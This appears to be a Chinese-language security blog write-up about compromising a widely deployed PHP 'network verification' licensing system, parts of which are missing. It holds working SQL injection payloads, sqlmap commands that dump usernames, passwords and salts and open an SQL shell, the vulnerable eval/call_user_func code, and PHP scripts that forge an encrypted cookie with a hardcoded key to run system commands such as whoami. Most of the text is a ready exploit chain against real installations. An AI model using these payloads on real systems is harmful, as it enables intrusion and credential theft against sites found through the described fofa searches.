0x01 信息收集

在尝试弱口令无果后，根据其特征去fofa以及谷歌搜了半天，期间搜出好多个UI差不多的网站，后来发现其实这些站点都是 UI 做了变动，后端代码都是一样的。

最终定位到该系统为某网络验证系统

下载最新版的代码到本地，开始审计。

0x02 源码解密

0x03 多处前台SQL注入

#读取数据库中的表data=123456&id=1 and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)

#读取回显内容的第33位开始的60位，因为限制最大返回32，所以回显的是32个长度内容1 and updatexml(1,mid(concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),33,60),1)

python3 sqlmap.py -r 1.txt -p "id" --dbms=mysql --technique=E -D bingxin -T BX_menber -C 'username,password,salt' --dump

0x04 后台两处代码执行getshell

1、首先将 software 表中的字段 encrypt 的值定义给常量 API_ENCRYPT2、if条件判断如果 API_ENCRYPT 的值为 defined_encrypt，进入eval函数执行，并且其参数为字段 defined_encrypt 的值3、所以我们只要能设置 software 表中的字段 encrypt 的值为 defined_encrypt，字段 defined_encrypt 的值为 phpinfo(); 就能代码执行

0x05 前台代码执行getshell

    public function remoteFun(){        $data = $this->parseData();        empty($data['name']) ? exit(api_json('1402')) : FALSE;        do_action('api_software_remote_fun', [$data]);        eval($this->software['0']['remote']);        if (!function_exists($data['name'])) {            exit(api_json('1401'));        }        $fun_param_num = count(get_fucntion_parameter_name($data['name']));        if ($fun_param_num != '0') {            empty($data['param']) ? exit(api_json('1402')) : FALSE;            $res_param_num = count($data['param']);            if ($fun_param_num != $res_param_num) {                exit(api_json('1403'));            }        } else {            $data['param'] = array();        }        $test = $data['param'];        $testst = $data['name'];        exit(api_json('1408', array('result' => @call_user_func_array($data['name'], $data['param']))));    }

$res_param_num = count($data['param']);

if ($fun_param_num != $res_param_num) {                exit(api_json('1403'));            }

{"name":"system","param":["ls","dotast"]}

<?phpfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0){    $ckey_length = 4;    $key = md5($key);    $keya = md5(substr($key, 0, 16));    $keyb = md5(substr($key, 16, 16));    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length) : substr(md5(microtime()), -$ckey_length)) : '';    $cryptkey = $keya . md5($keya . $keyc);    $key_length = strlen($cryptkey);    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('0d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;    $string_length = strlen($string);    $result = '';    $box = range(0, 255);    $rndkey = array();    for ($i = 0; $i <= 255; $i++) {        $rndkey[$i] = ord($cryptkey[$i % $key_length]);    }    for ($j = $i = 0; $i < 256; $i++) {        $j = ($j + $box[$i] + $rndkey[$i]) % 256;        $tmp = $box[$i];        $box[$i] = $box[$j];        $box[$j] = $tmp;    }    for ($a = $j = $i = 0; $i < $string_length; $i++) {        $a = ($a + 1) % 256;        $j = ($j + $box[$a]) % 256;        $tmp = $box[$a];        $box[$a] = $box[$j];        $box[$j] = $tmp;        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));    }    if ($operation == 'DECODE') {        if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {            return substr($result, 26);        } else {            return '';        }    } else {        return $keyc . str_replace('=', '', base64_encode($result));    }}
setcookie('test', authcode('{"name":"system","param":["ls","123456"]}', '', 'zMY0khLKVILeoJMirXxTo4thJuy4T5UnMiIbMTuw'), time() + 3600, '/');
?>

<?php
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0){    $ckey_length = 4;    $key = md5($key);    $keya = md5(substr($key, 0, 16));    $keyb = md5(substr($key, 16, 16));    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length) : substr(md5(microtime()), -$ckey_length)) : '';    $cryptkey = $keya . md5($keya . $keyc);    $key_length = strlen($cryptkey);    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('0d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;    $string_length = strlen($string);    $result = '';    $box = range(0, 255);    $rndkey = array();    for ($i = 0; $i <= 255; $i++) {        $rndkey[$i] = ord($cryptkey[$i % $key_length]);    }    for ($j = $i = 0; $i < 256; $i++) {        $j = ($j + $box[$i] + $rndkey[$i]) % 256;        $tmp = $box[$i];        $box[$i] = $box[$j];        $box[$j] = $tmp;    }    for ($a = $j = $i = 0; $i < $string_length; $i++) {        $a = ($a + 1) % 256;        $j = ($j + $box[$a]) % 256;        $tmp = $box[$a];        $box[$a] = $box[$j];        $box[$j] = $tmp;        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));    }    if ($operation == 'DECODE') {        if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {            return substr($result, 26);        } else {            return '';        }    } else {        return $keyc . str_replace('=', '', base64_encode($result));    }}
$a = authcode('{"name":"system","param":["whoami","123456"]}', '', 'zMY0khLKVILeoJMirXxTo4thJuy4T5UnMiIbMTuw');echo urlencode($a);?>

0x06 后台代码执行扩大到前台代码执行

python3 sqlmap.py -r 1.txt --dbms=mysql -p "id"  --technique=S --sql-shell

0x07 总结